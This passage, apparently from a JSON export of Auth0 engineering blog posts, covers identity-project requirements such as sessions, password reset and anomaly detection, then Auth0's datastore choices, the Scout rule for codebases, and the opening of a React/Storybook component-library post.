the proverbial rug out from the user’s activity in other applications. Be sure to understand all the sessions that are created when a user authenticates as well as any other applications that depend on the same sessions, before finalizing desired logout behavior.\n\n### How Will Browser Configuration Influence Sessions?\n\nBe sure to understand the impact of browser configuration on sessions. Some browsers have configuration options to reconstitute previous sessions after the browser has been shut down and restarted. Do not rely on browser shutdown to terminate user’s login sessions. In troubleshooting user issues, support teams will need to be aware of such browser configuration options and how to instruct users to start a clean new session when troubleshooting. In addition, be sure to ask if your application will be accessed from shared devices and if so, consider how to protect users that forget to log out.\n\n### Session Timeouts\n\nWhen users log in, for how long should their session remain valid? If they forget to log out, should their session be terminated after some period of time? You may want to have an idle timeout that occurs when a user has been inactive for some period of time, as well as a maximum timeout that occurs regardless of user activity. Don’t forget to consider the appropriate timeouts for MFA sessions and whether users should be allowed to bypass MFA from known or frequently used devices. Similarly, you should specify whether users should go through the MFA flow every time they log in or will be allowed to only do it periodically, such as every 30 days.\n\n\u003e Learn more about how [_session timeouts_](https://auth0.com/docs/dashboard/dashboard-tenant-settings#session-timeout) are managed with Auth0.\n\n![Login session management at Auth0](https://images.ctfassets.net/23aumh6u8s0i/6zsFj7vQJuZliTFfCNImrl/135fa606ee2c7cc3c9d78b9120551e9f/auth0-dashboard-session-timeout)\n\n### Deprovisioning: What Happens When It’s Over?\n\nParting is such sweet sorrow… or not. You should consider whether there will be a need to terminate or suspend a user’s account. You should consider audit needs which may dictate that accounts be suspended, but not deleted so that if fraud is detected at a later time, you have sufficient information to tie a user ID in a log file back to a real person. You should also take into account your data retention policy - you do have one, right?\n\nLast but not least, you should ensure specifications in this area align with any relevant [_privacy regulations, such as the GDPR_](https://auth0.com/docs/compliance/gdpr/features-aiding-compliance#conditions-for-consent), that apply to your target user population. Be sure to research and comply with any “right to be forgotten” clauses in privacy legislation for relevant jurisdictions.\n\n### Password Reset\n\nNothing lasts forever, and passwords are no exception. Be sure to design flows for users to reset passwords, both when they remember the old password and when they do not. You should also specify the requirements for password complexity and whether passwords should expire, requiring rotation, and if so, how often. There is now a debate about whether password expiration and rotation is helpful or not, so you should read up on that and consider the[_ latest recommendations on that front_](https://auth0.com/blog/dont-pass-on-the-new-nist-password-guidelines/). Forgotten password reset flows are a common attack vector for hackers, so be sure to include these flows in your security testing.\n\n\u003e Additional reading: [Easy Ways to Build a Better P@$5w0rd](https://www.nist.gov/blogs/taking-measure/easy-ways-build-better-p5w0rd).\n\n![NIST Password Tips](https://images.ctfassets.net/23aumh6u8s0i/OMVAJJhH11CKwrtI7qNvI/e1df75bbc6682600d48c6bed683f8eaf/password_tips)\n\n[_Source_](https://www.nist.gov/sites/default/files/styles/960_x_960_limit/public/images/2017/10/04/password_tips.jpg?itok=uhqF7cwb)\n\n### Blocked Users\n\nIt’s a fact of life that, well… life happens. Be sure to consider whether there will be situations where users need to be suspended for a period of time. This could be due to delinquent bills or something as innocuous as someone being on temporary medical leave. Consider the situations that might arise and how to flag users impacted by such situations as well as the process to [_unblock_](https://auth0.com/docs/user-profile#block-and-unblock-a-user) them when the situation has ended.\n\n### Anomaly Detection\n\nTo protect your application you may want to automatically [_detect anomalous situations_](https://auth0.com/docs/anomaly-detection) such as:\n\n- A particular user having a large number of failed logins.\n- A user logging in from two widely separated geographic locations within a short amount of time.\n- Users whose credentials have been compromised and published on the internet in databases of hacked passwords, such as Troy Hunt’s [_haveibeenpwned_](https://haveibeenpwned.com/).\n\n\u003e Auth0 provides three built-in shields that [detect anomalies](https://auth0.com/docs/anomaly-detection) among users in an app's system.\n\n![Anomaly detection example - offered by Auth0](https://images.ctfassets.net/23aumh6u8s0i/61niknHzbOQhzVr96l3lvX/3eea80eace03aa11338ca81e2f102982/anomaly-detection-overview)\n\n### Privacy/Compliance Requirements\n\nBe sure to dig into privacy and compliance requirements up front as they can be time-consuming to fully understand and can impact core processes such as user signup, use of user profile information, and data retention practices as well as logging and backups. There may be several processes you’ll need to implement to respond to user queries such as what information you hold about a user and processing a user’s request to be forgotten. Requirements differ somewhat by user location, so you’ll need to consider the jurisdictions that apply based on where your users are located.\n\n### Audit Logs\n\nYou will want to define your requirements for [_logging_](https://auth0.com/docs/logs) and ensure that you will be capturing the information needed for security and audit needs as well as any marketing analytics or charge-back purposes. Consider how long you need to keep logs, weighing audit, security and privacy needs. Logs are most useful when they are actually checked, so you’ll also want to consider how to [_export and analyze logs_](https://auth0.com/docs/extensions#export-auth0-logs-to-an-external-service) data with any of the powerful logs analytics tools that exist today.\n\n### Consider How Identity Information Might Change Over Time\n\nDon’t forget to consider how identity information might change over time. Will usernames need to change for any reason such as legal name changes? Might a user’s status change, such as in the case of a temporary worker becoming a permanent employee and if so, will the process result in overlaps of state where the user has two profiles in existence at once?\n\n## Recap\n\nAuth0 has written some guides for typical customer scenarios that may help you flesh out additional requirements:\n\n- [_B2C scenario_](https://auth0.com/docs/architecture-scenarios/b2c)\n- [_B2E scenario_](https://auth0.com/docs/architecture-scenarios/b2e)\n\nThe above list of points should give you a running start for what requirements to specify for an Identity Management project focused on authentication and authorization for your applications. By identifying and planning ahead for critical requirements, you’ll reduce the number of project delays caused by critical requirements surfacing part-way through the project. You can further reduce risk by identifying the requirements that will be hardest to meet or involve the most unknowns, and scheduling work on those areas early in the project plan.\n\n![Illustration of how to have a succesful Identity Management Project](https://images.ctfassets.net/23aumh6u8s0i/3xcfKK8nNxOokMAfLlleRt/0bd242d10db9f3195af953a66fa63612/idm-project-dismantle-01)\n\nIn part 2, we will cover some things that can change over time or go wrong with the identity aspects of a project. [Read How To Have a Successful IDM Project (Part 2)](https://auth0.com/blog/how-to-have-a-successful-idm-project-part-2/)\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2018-10-19T14:27","readTime":11,"formattedDate":"Oct 19, 2018"},{"title":"How We Store Data in the Cloud at Auth0","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"1zrPOXOzgb5fkZVMzJu0yz","type":"Entry","createdAt":"2021-03-22T08:18:38.492Z","updatedAt":"2021-03-22T08:30:51.594Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"dirceu-tiegs","name":"Dirceu Tiegs","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"3NBBmfieikWaLMpcNe4hum","type":"Asset","createdAt":"2021-03-22T08:30:50.028Z","updatedAt":"2021-03-22T08:30:50.028Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"Dirceu-Tiegs","description":"Dirceu-Tiegs avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/3NBBmfieikWaLMpcNe4hum/e2afeb072dacb720d366181dd42a3cc7/Dirceu-Tiegs","details":{"size":224404,"image":{"width":400,"height":400}},"fileName":"Dirceu-Tiegs","contentType":"image/png"}}},"lastUpdatedBy":"Unknown during the migration","email":"dirceu.pereira@auth0.com","twitter":"https://twitter.com/dirceu","github":null,"linkedin":null,"isPopular":null,"personalWebsite":null,"type":"Former Auth0 Employee","jobTitle":"Site Reliability Engineering Team","description":"What I enjoy the most about being an SRE at Auth0 is that it allows me to exercise different areas such as coding, architecture, writing, training, investigations, debugging, and incident response. It's great to be able to think deeply about all aspects related to reliability and then apply it to large-scale, real-world projects."}}],"path":"how-we-store-data-in-the-cloud-at-auth0","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/56S9oDWKVeNY8AIszkZvw1/7d6794f3d31d4eedb5a3d3699e796e5c/default","size":{"width":1764,"height":1584}},"description":"Learn how Auth0 uses different datastores to serve a wide variety of use cases and power critical features.","category":["Engineering","Best Practices","Database"],"tags":["database","engineering","redis","postgresql","aws","mongodb","elasticsearch","rds","sre","site-realiability","development","software","data"],"postContent":"\n\nAuth0 uses different datastores for different purposes. We have tons of datasets used to serve the wide variety of use cases and features we offer to our customers. In an age where data breaches are unfortunately getting more common, a critical side of choosing and using datastores is to consider reliability, durability, and safety. Our platform processes thousands of requests per second (**billions of logins per month**) for customers all around the world \u0026mdash; and we're growing very fast!\n\nThe Site Reliability team is a new initiative aimed at improving reliability and uptime in a data-driven way to support our customers' needs. Our team works closely with other teams to define and apply best practices through coding, writing, workshops, training, and leading different initiatives related to reliability, performance, and observability.\n\nIn this post, we will discuss the tools we use, why we use them and show more details about our internal setup. Some of these tools have been with us since the beginning \u0026mdash; like MongoDB \u0026mdash; while others are the result of extensive testing, research, and feature development \u0026mdash; like PostgreSQL. Read on!\n\n\u003e Do you like to get your hands dirty by debugging and fixing issues in production? We are currently hiring engineers to [join the Site Reliability Engineering team](https://auth0.com/careers/positions?areas=Engineering)!\n\n## MongoDB\n\n[MongoDB](https://www.mongodb.com/) is our central datastore; it's our \"source of truth\" for most of the data that matter to our customers. We store settings, connections, rules, users, and much more.\n\nOur MongoDB clusters serve many thousands of requests per second, but we don't store that much data: **our biggest MongoDB database has 30 GB**.\n\nGiven that our data sizes are tiny, we're still very comfortable with just a few big machines (tons of RAM and CPU cores, and high-speed disks) and we don't need fancy things like sharding \u0026mdash; we can still do much with vertical scaling, and we still don't need horizontal scaling.\n\n\u003e As explained by David Beaumont from IBM on the article [_How to explain vertical and horizontal scaling in the cloud_](https://www.ibm.com/blogs/cloud-computing/2014/04/09/explain-vertical-horizontal-scaling-cloud/), **vertical scaling** can essentially resize our server with no change to our code while **horizontal scaling** affords the ability to scale wider to deal with traffic.\n\n![Vertical and horizontal server scalability](https://images.ctfassets.net/23aumh6u8s0i/bL6VvrOz78cHCR5rzDp8w/af872fb7e0f57f959040a480f86e618a/scalability-graph)\n\nEach MongoDB cluster has six nodes:\n\n- 1 Primary on the main region\n- 1 Replica on the main region\n- 1 Arbiter on the main region\n- 2 Replicas on the failover region, hidden\n- 1 Arbiter on the failover region, stopped\n\n(The \"main\" and \"failover\" regions are explained in more details on our [Running In Multiple Cloud Providers And Regions post](https://auth0.com/blog/auth0-architecture-running-in-multiple-cloud-providers-and-regions/)).\n\nExcept for the arbiter on the failover region, all nodes are always connected to the replica set. We have a primary and replica that account for all queries under normal operations, and the nodes for failover regions just for disaster recovery.\n\nWe use [MongoDB Enterprise](https://www.mongodb.com/products/mongodb-enterprise-advanced) for all our cloud deployments: this helps us because of the additional metrics and also because of the excellent support we get from MongoDB.\n\nThe most challenging side of using MongoDB has been performance testing new queries: since we have multiple environments and regions with a wildly different datasets and usage patterns, sometimes MongoDB might simply decide to _not_ use an index for some reason. We [rely on `$hint` for specific queries](https://docs.mongodb.com/manual/reference/operator/meta/hint/) and focus on performance testing for the critical collections and code paths.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"The most challenging part of using MongoDB has been performance testing new queries since we have multiple environments and regions with a wildly different data sets and usage patterns.\"/\u003e\n\nSince the conception of Auth0, MongoDB has been an essential piece of our infrastructure, and it should continue to be a massive part of our stack for a long time; it allowed us to iterate fast, grow to more than 1.5 billion authentication operations per month \u0026mdash; and more.\n\n## Elasticsearch\n\nWe have a long story with [Elasticsearch](https://www.elastic.co/products/elasticsearch), and not always a happy one. We use Elasticsearch to store three types of data for search:\n\n1. [User metadata](https://auth0.com/docs/metadata).\n2. [Audit logs](https://auth0.com/docs/logs): logs that our tenants can access via dashboard and API.\n3. Application logs: logs from our micro-services and \"off-the-shelf\" solutions like NGINX and MongoDB (running [Kibana](https://www.elastic.co/products/kibana)).\n\nThose are kept in completely separate clusters with different permissions, backup strategies, and Elasticsearch configuration. We have 3-5 clusters per environment.\n\nWe have almost 80 Elasticsearch nodes in the US environment only. If we sum up all environments and regions, we probably have short of **200 big nodes running ES**. _Yikes!_ 💸\n\nOur application logs clusters are by far the best ones. ES was pretty much made to deal with those kinds of logs, and besides occasional resizes we don't have many problems with them from an infrastructure perspective. **We store 2.3TB of data per day on them**.\n\nWe have had our issues with user metadata and audit logs on Elasticsearch though. Part of the reason is that we outgrew the tool, at least in the use case we have: we need to store hundreds of thousands of different fields for search, completely separated by tenant, and we need to scale for tenants with 1-10 users but also tenants with **6-8 million users**. Due to the performance and stability issues, we have decided to migrate two of those three use cases to PostgreSQL (more on that later).\n\nElasticsearch shines for general logging; if you use common patterns (daily indexes, metadata templates, hot and cold nodes), it can be a very powerful and stable tool.\n\nEven for cases in which we found it not to be entirely adequate (user metadata and audit log search), it was certainly a great tool while we didn't reach \"critical mass\". [Elasticsearch helped us scale fast and gave us stability for years](https://auth0.engineering/from-slow-queries-to-over-the-top-performance-how-elasticsearch-helped-us-scale-4fe72ffcb823) before we outgrew it.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Due to performance and stability issues with Elasticsearch, we decided to migrate two of its three use cases to PostgreSQL. It was certainly a great tool while we didn't reach critical mass.\"/\u003e\n\n## PostgreSQL\n\nWe have three main databases stored in [PostgreSQL running on AWS RDS](https://aws.amazon.com/rds/postgresql/):\n\n1. Breached passwords\n1. User metadata (search v3)\n1. Tenant audit logs (under development)\n\n[Breached password detection](https://auth0.com/breached-passwords) protects and notifies your users when their credentials are leaked by a data breach of a third party. You can optionally prevent access until the user has reset their password. This feature uses a big [PostgreSQL database as a backend](https://aws.amazon.com/rds/postgresql/what-is-postgresql/): we have a subscription with a company that provides us with breached data, which we then import for querying.\n\nGiven the scalability issues we faced with Elasticsearch, we have completely rewritten the user metadata search feature into what we call [User Search v3](https://auth0.com/docs/users/search/v3), and we're [gradually migrating tenants](https://auth0.com/docs/users/search/v3#migrate-from-search-engine-v2-to-v3) to that new solution: it uses PostgreSQL instead of Elasticsearch for storage and search.\n\nThe performance differences between Elasticsearch and PostgreSQL are massive: instead of 300 thousand metadata writes per minute per cluster, we can have up to **10 million writes per minute** (on bulk operations), all with roughly the same infrastructure costs but with far less operational overhead (_thank you AWS RDS_ 💖).\n\nGiven the outstanding results of search v3 regarding performance and stability, we decided also to migrate our tenant logs feature. This is under active development and testing, but we expect great results from it.\n\nIn the future, we plan to keep using PostgreSQL more and more wherever it makes sense. As we gain more operational knowledge and build tooling around it, it will definitely become a big contender with MongoDB as the preferred storage choice for [new microservices](https://auth0.com/blog/an-introduction-to-microservices-part-1/): it's safe, fast, well documented, and very easy to operate.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"The performance differences between Elasticsearch and PostgreSQL are massive: we can have up to 10 million writes per minute, all with roughly the same infrastructure costs but with far less operational overhead.\"/\u003e\n\n## Redis\n\nI don't have much to say on this one actually. [Redis](https://redis.io/) is just so... _awesome_. It's fast, it's stable, and we barely have to think about it, doing tens of thousands of requests per second on surprisingly small instances.\n\nWe use [Redis for caching](https://auth0.com/blog/introduction-to-redis-install-cli-commands-and-data-types/), not long-term storage; our \"distribution of choice\" for the cloud is [AWS ElastiCache](https://aws.amazon.com/elasticache/).\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Redis is... awesome! We use it for caching with a cloud distribution through AWS ElastiCache.\"/\u003e\n\n## Recap\n\nAuth0 is growing, and it's growing _fast_. Two years ago we were happy with Elasticsearch; now, we outgrew it for some of our use cases.\n\nAs we increase in size and scale, we are focusing more and more on performance and reliability testing on the datastores we use and some that we might use in the future. We are starting to use tools like [AWS DynamoDB](https://aws.amazon.com/dynamodb/) for some secondary operations, and might test others ([RocksDB](https://rocksdb.org/)?) as we get new exciting use cases and features for our customers!\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2018-09-26T13:26","readTime":8,"formattedDate":"Sep 26, 2018"},{"title":"A Scout Approach to Software Development","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6tROQSkvCj4Y6KVxiN2o7m","type":"Entry","createdAt":"2021-03-22T08:19:43.288Z","updatedAt":"2021-03-22T08:35:08.435Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"jose-romaniello","name":"Jose Romaniello","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"403734lEWzgekGJAiiLTIr","type":"Asset","createdAt":"2021-03-22T08:35:07.296Z","updatedAt":"2021-03-22T08:35:07.296Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"Jose-Romaniello","description":"Jose-Romaniello avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/403734lEWzgekGJAiiLTIr/2f51abbdc0e0a5b470d56d18e7baec12/Jose-Romaniello","details":{"size":206659,"image":{"width":457,"height":452}},"fileName":"Jose-Romaniello","contentType":"image/png"}}},"lastUpdatedBy":"Unknown during the migration","email":"jose@auth0.com","twitter":"https://twitter.com/jfroma","github":null,"linkedin":null,"isPopular":null,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Head of Engineering","description":"I started working at Auth0 before the first line of code for our authentication platform existed. I’ve been able to go through the journey of seeing our ideas go from prototype to living production code that impacts millions of people. It’s satisfying to know that my actions here are having a positive impact in solving problems for developers like me."}}],"path":"a-scout-approach-to-software-development","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/2HqWPrB5R32fKpBngAOjBl/d6dde76be4765c9f298ce1e9fc378849/value-high-standards","size":{"width":1176,"height":1056}},"description":"Learn how to apply the Scout code to software development to get code to a better state continuously.","category":["Engineering","Best Practices","Software Development"],"tags":["engineering","enterprise","authorization","architecture","development","best-practices","programming","teamwork","teams","growth","advice"],"postContent":"\n\nWhen I was a kid, I practiced [_Scouting_](https://en.wikipedia.org/wiki/Scouting) for eight years I picked up a lot of excellent values and my scouting experiences helped to shape my character and make me a better programmer. Let me show you why.\n\nAs a Scout, you get to experience nature by camping outdoors which teaches you one of the core values — **respect life**. Scout rules help support core Scout values. One of the first rules I learned was:\n\n\u003e Always leave the campground cleaner than you found it.\n\nThis rule comes from a quote by [_Robert Baden-Powell_](https://en.wikipedia.org/wiki/Robert_Baden-Powell,_1st_Baron_Baden-Powell), founder and first [_Chief Scout_](\u003chttps://en.wikipedia.org/wiki/Chief_Scout_(The_Scout_Association)\u003e) of [_The Scouts Association_](https://en.wikipedia.org/wiki/The_Scout_Association), and founder of the [_Girl Guides_](https://en.wikipedia.org/wiki/Girlguiding):\n\n\u003e Leave this world a little better than you found it.\n\nWhat this rule represents is that you should not only pick up your trash, clean the area where you started a wood fire and the soil where you built your tent, but also you need to take a look at the campsite and do something to leave it better than it was before.\n\nIt is an explicit instruction. It helps you accept the notion that something can always be better. There’s always room for improvement. You had the opportunity to enjoy the area and its resources but you also have the opportunity to pay back by leaving the area in better shape for others.\n\nI believe that when kids are taught this kind of values through games, repetition, and rewards, it becomes a habit. This is nominally known as [_positive reinforcement_](https://en.wikipedia.org/wiki/Reinforcement#Positive_reinforcement). Positive reinforcement takes place when a reward is presented as the result of certain behavior and the behavior increases. This trait has been embedded in my mind so that I don’t need to apply it consciously. It has become a behavioral reflex that integrates naturally in my day-to-day activities.\n\n## The Codebase Is the Developer's Campsite\n\nEven if I don't go camping often nowadays, I follow this rule in a lot of different situations in my life. One of them is in my daily work — programming!\n\nWorking on a new feature or a bug feels excellent. Working on a codebase change feels like camping as a Scout. It is an opportunity to:\n\n- Experience the environment.\n- Understand the problem.\n- Put what I know in practice.\n- Use my skills to create solutions.\n\nThe codebase will host me for hours or days. Even if I don't enjoy the codebase too much, I still have to respect it because other people have worked hard on it. It gives me an opportunity to learn new things and to possibly use tools I have never been exposed to before.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Even if we don't enjoy a codebase too much, we still have to respect it because other people have worked hard on it. We can work on taking little steps to improve it.\"/\u003e\n\nOnce again, I have to assume that other people will get to \"camp\" in the project after me. People I haven't met yet and probably will never meet. They may be developers, project managers, even end-users. As thought leader and software craftsman [_Uncle Bob Martin_](https://twitter.com/unclebobmartin) says in his [_Scout Rule_](https://www.amazon.com/Things-Every-Programmer-Should-Know/dp/0596809484):\n\n\u003e “Indeed, the act of leaving a mess in the code should be as socially unacceptable as littering. It should be something that just isn't done.”\n\nTherefore, not only my work in the codebase needs to be clean, but it should leave the code at least a little better than I found it.\n\nThese are some examples in which I have applied this improvement of the status quo within a project:\n\n- It took me 30 minutes to understand what this function does. Can I rename it to something more declarative or expressive so that others can understand it quicker than I did?\n- I wasn't able to run this project with the provided instructions. Can I write the instructions that I followed but are not documented in a README file?\n- This code is more convoluted than it should be. Can I make it easier and clearer?\n- This function doesn’t have enough tests. Can I add some tests?\n\nThese small improvements will help my teammates and myself later. The code is not going to end up perfect, but it will be better than it was before. By following this practice, the code grows in a better direction with every action that you take on it.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Small but powerful actions for teams that improve a codebase gradually: Vague naming? Make it explicit. Confusing code? Make it clearer. No documentation? Add steps to the README. Missing tests? Write one.\"/\u003e\n\nI have been doing software development for years and being a Scout had already prepared me to transfer the mindset and values exposed by Uncle Bob from the campsite to the codebase. But this approach is not an excuse for not allocating exclusive time and developers to fix issues in a codebase; it is just one way to continuously get things to a better state.\n\n![Binary tree - example of clean code growing organically and gradually following the Scout development approach.](https://images.ctfassets.net/23aumh6u8s0i/5KLuJlW0dEoHg3Wf03i7t9/a11e8be6f2480802675a8d4daaf6c3c2/Binary-Tree)\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2018-09-20T10:30","readTime":5,"formattedDate":"Sep 20, 2018"},{"title":"Our Engineering Experience with React and Storybook","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6nc2ZBdGPm0a4S2GkXSEf4","type":"Entry","createdAt":"2021-03-22T08:18:24.514Z","updatedAt":"2023-11-01T17:44:05.194Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":8,"revision":3,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"dan-arias","name":"Dan Arias","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"6WmRCtZz0eDp6KE7pw8cJ3","type":"Asset","createdAt":"2021-03-22T08:29:52.872Z","updatedAt":"2021-03-22T08:29:52.872Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"37590801?s=460\u0026v=4","description":"37590801?s=460\u0026v=4 avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/6WmRCtZz0eDp6KE7pw8cJ3/7329ebb6302316cab8f55705100abab5/37590801_s_460_v_4","details":{"size":10772,"image":{"width":298,"height":298}},"fileName":"37590801?s=460\u0026v=4","contentType":"image/jpeg"}}},"lastUpdatedBy":"robertino.calcaterra@auth0.com","email":"dan.arias@okta.com","twitter":"http://twitter.com/getDanArias","github":null,"linkedin":null,"isPopular":true,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Staff Developer Advocate","description":"Howdy! 🤠 I do technology research at Auth0 with a focus on security and identity and develop apps to showcase the advantages or pitfalls of such technology. I also contribute to the development of our SDKs, documentation, and design systems, such as \u003ca target='_blank' rel='noopener noreferrer' href='https://github.com/auth0/cosmos'\u003e\u003cstrong\u003eCosmos\u003c/strong\u003e\u003c/a\u003e.\u003cbr /\u003e\u003cbr /\u003eThe majority of my engineering work revolves around AWS, React, and Node, but my research and content development involves a wide range of topics such as Golang, performance, and cryptography. Additionally, I am one of the core maintainers of this blog. Running a blog at scale with \u003cstrong\u003eover 600,000 unique visitors per month\u003c/strong\u003e is quite challenging!\u003cbr /\u003e\u003cbr /\u003eI was an Auth0 customer before I became an employee, and I've always loved how much easier it is to implement authentication with Auth0. Curious to try it out? \u003ca href='https://auth0.com/signup' data-amp-replace='CLIENT_ID' data-amp-addparams='anonId=CLIENT_ID(cid-scope-cookie-fallback-name)'\u003e\u003cstrong\u003eSign up for a free account\u003c/strong\u003e\u003c/a\u003e ⚡️."}}],"path":"our-engineering-experience-with-react-and-storybook","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/57slDODY3Av9sYsdHa5D2z/18043ca076b479f02e3dcd0fd7ca3b19/react","size":{"width":1176,"height":1056}},"description":"Create modular and reusable components that can be shared across projects by building a component library with React and Storybook.","category":["Engineering","Best Practices","Reusability"],"tags":["react","storybook","frontend","ui","ux","engineering","component-library","reusability","banking"],"postContent":"\n\nAt Auth0, we want our customers to be successful using our [authentication solutions](https://auth0.com/b2c-customer-identity-management). The Customer Success Infrastructure Team builds customer-facing and internal tools that help us achieve that goal. One of the technologies that have enabled them to have rapid iterations in user interface development is [React](https://auth0.com/blog/react-tutorial-building-and-securing-your-first-app/).\n\n[![Authenticate React using Auth0](https://images.ctfassets.net/23aumh6u8s0i/6I21NcoVBzBDHBnSxXfaZw/49c51ce5e8389783b607cd5312811480/react-auth0-banner)](https://auth0.com/authenticate/react/)\n\nThis team builds a variety of different projects such as the software that runs our [Auth0 Support Center](https://support.auth0.com/) and other internal tools that power internal support workflows. In addition to React, they develop their projects using [Node.js](https://nodejs.org/en/), [hapi.js](https://hapijs.com/), and [Redux](https://redux.js.org/). It is a JavaScript-heavy team and that is driven by building quality features quickly.\n\n![Auth0 Customer Success Infrastructure Team](https://images.ctfassets.net/23aumh6u8s0i/1TZtO3xXdNrGdS2nshJank/3ab11dc08159450bbd3af27ae27d3785/auth0-customer-success-team)\n\n\u003e Would you like to be part of a Team like this? We are currently hiring engineers to [join the Customer Success Infrastructure team](https://auth0.com/careers/positions?areas=Customer%20Success)!\n\n[Guillermo Rodas](https://twitter.com/glrodasz) is one of the Engineers of the Customer Success Infrastructure Team. He recently led a project initiative known as _Support Center Components_ that solved a problem centered around having duplicate React components in our customer-facing and internal tools site.\n\nIn this blog post, through Guillermo's insight, we are going to explore how the Account Center Team is using [React and Storybook](https://storybook.js.org/basics/guide-react/) to optimize UI development and promote consistent branding by creating a component library that can be shared across different projects.\n\n## Don't Repeat Yourself (DRY)\n\n[Auth0 Support Center](https://support.auth0.com/), a customer-facing site, and Customer Success Tools, an internal site, have similar elements on their interfaces. For example, despite having a different business context in each interface, the _Quota Utilization_ feature in both interfaces uses the same structure to report data to the user.\n\n![Two identical React component defined in different codebases](https://images.ctfassets.net/23aumh6u8s0i/1lutGPjqyYNHccPBpXxf3z/ba96df5eb6edb898634676ced807c5ad/support-center-vs-cs-tools-component)\n\nThe problem that we had was that this structure was being implemented as a React component separately for each interface instead of sharing the implementation. The development team was duplicating components to solve the same problem. This approach inherently created pain points for developers as _Quota Utilization_ was just one of a few other features that had overlapping front-end architectures within our sites.\n\nHaving duplicate code is not ideal. One version of the code may be more up-to-date than another version, creating something similar to a race condition around code versioning. If a bug is found, it would need to be fixed in every place that shares the code while [hoping that the developer can remember them all](https://stackoverflow.com/a/2490897). An inconsistent bug fixing process could multiply bugs and create havoc in a codebase.\n\n\u003e \"If you see patterns in your code, that is an [indication it is prime for DRYing](https://americanexpress.io/clean-code-dirty-code/). Sometimes this means standing back from the screen until you can’t read the text and literally looking for patterns.\" [(Donavon West, American Express Developer Relations)](https://twitter.com/donavon)\n\nThe solution for this code duplication problem was to make the code DRY (Don't Repeat Yourself). We needed to write the presentational component once and then have each feature/interface implement it from a single source of truth: a component library.\n\nAs explained by [Mark Perkins](https://twitter.com/allmarkedupa) from [Clearleft](https://clearleft.com/) on their insightful post [_On Building Component Libraries_](https://clearleft.com/posts/on-building-component-libraries), a component library is an effective and robust format for delivering documented code and design patterns to developers and clients. React lends itself to the architecting of a component library since it involves the process of thinking and building in a \"componentised manner\", as coined by Mark.\n\n\u003cinclude src=\"TweetQuote\" quoteText='react lends itself to the architecting of a component library since it involves the process of thinking and building in a \"componentised manner\", as coined by @allmarkedup from @clearleft'/\u003e\n\n![Graphic of example web component library](https://images.ctfassets.net/23aumh6u8s0i/7b4rPdBjXGdnxv24ty2Vzc/7aa292937b5eb827ea725d4010561686/component-library)\n\n[Source](https://blog.hichroma.com/beyond-bootstrap-moving-from-ui-toolkit-to-component-library-f0a34f05e98b)\n\n## Integrating a Component Library\n\nImplementing the concept of a component library within our workflow was an architectural decision that required us to further strategize our component and feature development process.\n\nFor example, when creating a component, we started asking the following questions:\n\n- How to categorize the component within a library? Should we have categories at all?\n- How should a prototype of the component be presented? Should a blank page with mock data be used?\n- Should different states of the component be presented on its prototype?\n\nIt was critical to be able to answer these questions visually and in an organized manner to help us iterate cleanly through our feature development process. This process typically consists of:\n\n- Creating an MVP (Minimum Viable Product) or POC (Proof of Concept).\n- Getting feedback on the MVP/POC.\n- Integrating feedback through development iterations.\n\nThrough that process, we are constantly showing how the user interface presents data through its components and defining the states of a component based on the data that it can present. We needed a tool that could let us:\n\n- Create our components independent from any specific feature integration.\n- Preview our components and their different states.\n- Let us categorize each component into families for easier lookup.\n- Host our components in a central location to create the concept of a library.\n\nWith React, we could already define components. We needed something to preview, categorize, and host them. Fortunately, we were able to fulfill all those requirements using one single tool: Storybook.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Don't reinvent the \u0026lt;Wheel /\u0026gt;. To create modular and reusable components that can be shared across projects, build a component library with React and Storybook.\"/\u003e\n\n![Meme - I believe in code reuse... CTRL-C, 